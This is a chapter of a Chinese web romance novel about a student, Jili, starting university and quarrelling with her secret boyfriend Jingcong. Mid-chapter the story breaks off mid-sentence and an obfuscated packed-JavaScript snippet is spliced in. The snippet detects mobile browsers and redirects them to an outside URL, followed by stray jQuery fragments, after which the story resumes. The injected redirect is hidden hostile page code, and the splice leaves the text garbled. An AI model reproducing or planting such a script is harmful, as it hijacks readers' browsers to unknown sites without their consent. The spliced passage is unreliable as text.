12. 呲牙

作品:《还是原谅她吧

    棘梨去报到的那天天气很好,太阳热辣辣的,幸好寝室里有空调。


    她的三个室友也都一个接一个地亮相。


    因为荆淙的催促和住得近的便宜,棘梨是第一个到的。


    床铺有编号,事先都分配好,也没有挑选的余地。


    洛大的寝室条件还可以,有空调有卫生间有热水器,棘梨把衣服从行李箱拿出来再挂到衣柜里。


    这些天她买了不少衣服,大部分都放在荆淙那里,一个行李箱并不能放得下。


    当然她最舍不得的还是橘子,军训这半个月估计是必须要和橘子分离的了。


    等到她把床铺好,第一个室友来了。


    第一个到来的新室友是个高个子姑娘,皮肤挺黑,头发随意绑了一个马尾垂在脑后。


    一进来就热情握住棘梨的手自我介绍,“我叫陶梦桃。”


    棘梨有点嫌弃她,说话嗓门太大,看起来又很土。


    陶梦桃没发现她的嫌弃,握住她的手不放,“你呢?”


    棘梨闻到她身上有种奶香味,挺好闻,也就没那么嫌弃她了,高冷道,“我叫棘梨。”


    她抬头,陶梦桃好高啊。


    “你多高啊?”


    陶梦桃察觉到新室友的高冷,露出一个标准微笑,显得有几分局促,“一七二。”


    居然才一七二,棘梨几乎以为她要将近一米八呐,没想到也就比自己高六厘米。


    好吧,六厘米也挺高的了。


    正在沉思间,第二个室友也来了,棘梨也有点嫌弃。


    第二位室友叫做叶椰,棘梨以为她已经是话多的那种了,但这个叶椰真是进来就一直说个不停,简直像个麻雀一样,叽叽喳喳的。


    只刚认识半个小时,棘梨和陶梦桃的户口本都快被扒完了。


    等到最后一个室友出场的时候,棘梨是彻底对大学宿舍生活失去了希望。


    傻白甜小公主青玫兴奋得快哭出来了,明明才十几天没见,她这个反应未免太过夸张。


    “我可是特意托关系,才和你住在一个寝室的呢。”


    棘梨心想她可不想和青玫住在一起。


    叶椰跳过来看了看棘梨,又看了看,脸上满是疑惑,“你们真的是姐妹吗?长得不太像嗳。”


    棘梨小小翻了一个白眼,“表的,不是亲姐妹。”


    她像爸爸的地方比较多一点,而青玫像万新雨的地方更多,两人的确看不出来有血缘关系。


    乐昌的秋天早已经到了,洛水和夏天却像是一对依依不舍的情人,迟迟不肯分别。


    头顶的太阳大发神威,似乎是想给所有在外边儿的人好果子吃。


    这才几日过去,棘梨眼睁睁看着几个室友都黑了一个度,尤其是小麻雀叶椰最明显。她是个高度近视,把眼镜拿下来可以看到太阳穴上有一道清晰的白痕。


    棘梨涂了很多防晒,但还是感觉脸上被晒得火辣辣得疼。


    这一日就晕了两三个中暑的,前人中暑后人乘凉,棘梨总算是逃脱被晒的命运,学校体育馆容纳不了所有新生,树荫下和几个体育教室也都被征用。


    但不用挨晒了可训练还是实打实的,棘梨站了整整一天,从膝盖往下,小腿到脚后跟这一截简直废掉了,说不出来的疼。


    其余三人只有陶梦桃还来去自如,叶椰变成了个哑巴麻雀,什么时候吃过这种苦,偷偷掉眼泪被发现好几次,但也一直坚持了下来。


    为期半个月的军训结束,棘梨恨不得拍手称快,那几个很会折腾人的坏蛋教练终于要滚蛋了,真是恨不得偷偷去踹他们屁股啊。


    棘梨有点同手同脚,平时也没发觉,在走正步的时候这个问题就暴露了。


    可恶的教官把棘梨拎出来说,还变着法子损她。


    棘梨的脸就和被太阳晒了一样火辣辣的,她其实是个很爱面子的小女孩。


    很想和荆淙说,让他找医生给自己开个什么证明把军训逃掉,但想想还是算了。


    棘梨察觉出来,他不是那个她说什么就是什么的荆淙了,还是别跟他说了,省得又说一些大道理来教育她。


    叶椰是洛水本地人,军训结束的时候有个仪式,她爸妈也过来看了。


    看到女儿在太阳底下暴晒,叶爸爸叶妈妈夫妻俩齐齐落泪。


    荆淙是本校学生,自然也能观看。


    棘梨视力很好,在人群里很轻易看到他,但很不满意他的表现。


    她不指望他在大庭广众之下痛哭流涕,但也不至于笑吧?


    军训结束后正好是周末,她在他家里控诉,“我都看到了,军训结业仪式上,你在观众席上笑了,还笑得很开心。”


    荆淙想起来,又开始笑,“你同手同脚,很好笑的。”


    棘梨气得咬牙,站起来指责她,“你这样让我很没面子的,我室友的爸爸妈妈都在哭。”


    荆淙道:“我又不是你的爸妈。”


    棘梨定定望了他一会儿,忽然像只像只气球一样萎靡下去。


    她盘腿坐在沙发上,沮丧道,“如果是我爸妈坐在那里,她们一定也会心疼得哭出来的。”


    荆淙怔住了,有些尴尬去摸她的脑袋,“我下次不笑了。”


    棘梨把他手挥开,气鼓鼓道,“根本就没有下一次了。”


    其实她是骗荆淙的,爸爸可能会哭,但妈妈一定不会哭,妈妈会用手机录下来,回来再嘲笑她是个笨蛋。


    荆淙抱住她的肩,道歉道,“我以后真的不会笑了。”


    他努力不去想她同手同脚的样子,要不然恐怕又会笑出来。


    看她还在瘪着嘴生气,荆淙拿出手表交给她,“给你买到了,别生气了。”


    棘梨这才换上了笑容,仔细用酒精湿巾擦拭过,才小心翼翼带到手腕上,“和妈妈给我买的一模一样。”


    荆淙把一个盒子递给她,“既然是妈妈送的,平时还是收起来吧,再弄坏了可给你找不到第二只了。”


    盒子里也是块手表,但并不是他上次说的带钻的,戴好之后,棘梨看了看,觉得也还可以。


    荆淙:“你课表出来了吗?发我一份。”


    正在跟橘子炫耀新手表的棘梨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15718286|173827||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    立马警觉起来,把小猫抱在怀里,“干什么?”


    荆淙看见她这副如临大敌的模样,挑了一下眉,“你说呢?”


    棘梨捏着猫的肉垫,□□弹弹的很好捏,“不行,在学校里我们还是当普通朋友吧。”


    这是他从来没预想到过的情况,荆淙脸色沉下来:“什么意思?”


    棘梨:“我们不是在偷偷恋爱吗?你之前跟我说的。”


    荆淙解释:“我的意思是,在我跟我妈说完之前,你不要随便对别人说。”


    都现在了,还有什么不能说的?


    庄以欣都举双手同意了。


    棘梨皱着鼻子摇摇头:“不行,我和我室友聊天的时候,她们都没有男朋友,我说我也没有。要是我们在学校里谈恋爱被她们发现了,那不就都知道我在说谎了?”


    这是前世都没有出现的情况,前世在那个倒霉哥哥出现之前,棘梨可以说是满心满眼只有他。


    荆淙冷道,“你是觉得,跟我谈恋爱很丢脸吗?”


    棘梨忙摆手:“我可没这么说。”


    她捏着手里小猫的爪子挥动起来,“你不觉得,我们现在这样也挺好的吗?偷情一样多刺激啊。”


    荆淙心道,好个屁。


    但这种话太粗俗了,他的教养不允许他说出口,更不可能在伴侣面前说出来。


    所以他只是板着脸,走了一圈儿瞪了一会儿人,棘梨却全然不在乎似的,还在跟小猫玩无聊的游戏。


    他又在沙发前踱了两圈,又问道,“那你跟你室友怎么说出来玩的?”


    棘梨头也没抬:“我跟她们说,我有个表叔在洛水,我周末来找表叔玩。”


    荆淙一下由男朋友升级成了表叔,脸色完全阴沉下来,“青玫也信了?”


    棘梨笑起来,轻蔑哼一声,“她怎么会不信?信得最快的就是她了,你不知道吗?她最笨了。”


    荆淙一直盯着她看,棘梨只以为他也想和小猫玩,把猫塞到他怀里,“你都天天摸了,我摸一会儿你还眼巴巴地看。”


    荆淙看了怀里的大仙一眼,还没来得及表达态度,橘子就很嫌弃地看了他一眼,然后就跳到了地上。


    他把脸别过去,“我根本就不想抱它。”


    棘梨道:“你不想抱,还那么看着我干什么?又想勾引我犯错吗?荆淙我告诉你,我也是有脾气的。我现在是尊重你,但你要是一直这么勾引我,我现在就办了你!”


    荆淙把她的嘴捂住:“你想怎么办了我?”


    他把人压倒在沙发上,轻声道,“这次我可没喝醉。”


    棘梨当然不知道,她就是放狠话而已。


    明明只是嘴巴被捂住,她却有种呼吸不畅的感觉。


    她以前只看到他有一双形状柔和美丽的眼睛,和看上去就很好亲的柔软嘴唇,却忽略了他的高挺鼻子和棱角分明的下巴。


    荆淙这样压低眼睛看人的时候,还是很有侵略感的。


    虽然也不会让人觉得害怕就是了,反正棘梨是不害怕的,她只觉得他这样子很像是一只小猫在呲牙。